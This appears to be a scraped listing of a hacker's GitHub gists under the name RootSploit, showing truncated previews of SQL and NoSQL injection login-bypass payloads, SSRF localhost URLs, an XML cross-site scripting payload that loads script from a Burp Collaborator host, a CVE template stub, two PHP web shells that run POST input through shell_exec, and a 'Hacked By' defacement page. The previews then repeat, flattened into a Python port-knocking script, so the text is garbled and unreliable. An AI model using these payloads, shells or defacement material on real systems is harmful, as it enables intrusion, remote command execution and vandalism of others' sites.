RootSploit rootsploit

## SSRF-Payloads.txt
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
http://localhost:80
http://localhost:443
http://localhost:22
https://127.0.0.1/

## NoSQLi-login-bypass.txt
Bypass with Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin$password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

## SQLi-login-bypass.txt
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#

## XML-XSS.xml
<html>
        <head></head>
        <body>
                <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
                <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
                <info>
                  <name>
                    <value><![CDATA[<script src="https://6u1puty8wuqb7l3utbuq0jizwq2jq8.burpcollaborator.net">confirm(document.domain)</script>]]></value>
                  </name>
                    <description>

## CVE-2020-14818.yaml
id: cve-2020-14818

info:
  name: Oracle BI - XSS by @HackerOn2Wheels
  author: RootSploit
  severity: medium
  description: Reflected Cross-site scripting (XSS) on Oracle Business Intelligence

requests:
  - method: GET

## PHPwebShell.php
<?php
if (!empty($_POST['cmd'])) {
    $cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html lang="en">
<!-- By Artyum (https://github.com/artyuum) -->
<head>
    <meta charset="utf-8">

## deface.html
<!DOCTYPE html>
<html oncontextmenu="return false;" onkeypress="return false;" onkeydown="return false;" onkeyup="return false;">
<head>
    <title>//:~Hacked By RootSploit~://</title>
    <meta charset="utf-8">
		<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
		<meta name="Author"       content="RootSploit">
		<meta name="keywords" content="RootSploit, GS, Hacked, Touched, Leaked, Pawned, Deface, Website Deface, Defacement" />
        <meta name="copyright"    content="Silent"/>
		<meta name="description"  content="Silence is the most Powerful Scream"/>

## PHP-WebShell.php
<?php
if (!empty($_POST['cmd'])) {
    $cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html>
<head>

    <meta charset="utf-8">

## RootSploit.svg

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                rootsploit
                / RootSploit.svg
            
            
              Last active
              September 23, 2020 04:11
            
          
      Sorry, something went wrong. Reload?
      Sorry, we cannot display this file.
      Sorry, this file is invalid so it cannot be displayed.
      
          Viewer requires iframe.
      
    
## port-knock.py
#!/usr/bin/python3

import socket
import itertools
import sys
import time
import argparse

class Knockit(object):
    def __init__(self, args: list):
	http://127.0.0.1:80
	http://127.0.0.1:443
	http://127.0.0.1:22
	http://0.0.0.0:80
	http://0.0.0.0:443
	http://0.0.0.0:22
	http://localhost:80
	http://localhost:443
	http://localhost:22
	https://127.0.0.1/
	Bypass with Operator:
	username[$ne]=1$password[$ne]=1 #<Not Equals>
	username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
	username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
	username[$eq]=admin$password[$ne]=1 #<Equals>
	username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
	username[$ne]=admin&pass[$gt]=s #<Greater Than>
	username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
	{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
	or 1=1
	or 1=1--
	or 1=1#
	or 1=1/*
	admin' --
	admin' #
	admin'/*
	admin' or '1'='1
	admin' or '1'='1'--
	admin' or '1'='1'#
	<html>
	<head></head>
	<body>
	<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
	<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
	<info>
	<name>
	<value><![CDATA[<script src="https://6u1puty8wuqb7l3utbuq0jizwq2jq8.burpcollaborator.net">confirm(document.domain)</script>]]></value>
	</name>
	<description>
	id: cve-2020-14818

	info:
	name: Oracle BI - XSS by @HackerOn2Wheels
	author: RootSploit
	severity: medium
	description: Reflected Cross-site scripting (XSS) on Oracle Business Intelligence

	requests:
	- method: GET
	<?php
	if (!empty($_POST['cmd'])) {
	$cmd = shell_exec($_POST['cmd']);
	}
	?>
	<!DOCTYPE html>
	<html lang="en">
	<!-- By Artyum (https://github.com/artyuum) -->
	<head>
	<meta charset="utf-8">
	<!DOCTYPE html>
	<html oncontextmenu="return false;" onkeypress="return false;" onkeydown="return false;" onkeyup="return false;">
	<head>
	<title>//:~Hacked By RootSploit~://</title>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
	<meta name="Author" content="RootSploit">
	<meta name="keywords" content="RootSploit, GS, Hacked, Touched, Leaked, Pawned, Deface, Website Deface, Defacement" />
	<meta name="copyright" content="Silent"/>
	<meta name="description" content="Silence is the most Powerful Scream"/>
	#!/usr/bin/python3

	import socket
	import itertools
	import sys
	import time
	import argparse

	class Knockit(object):
	def __init__(self, args: list):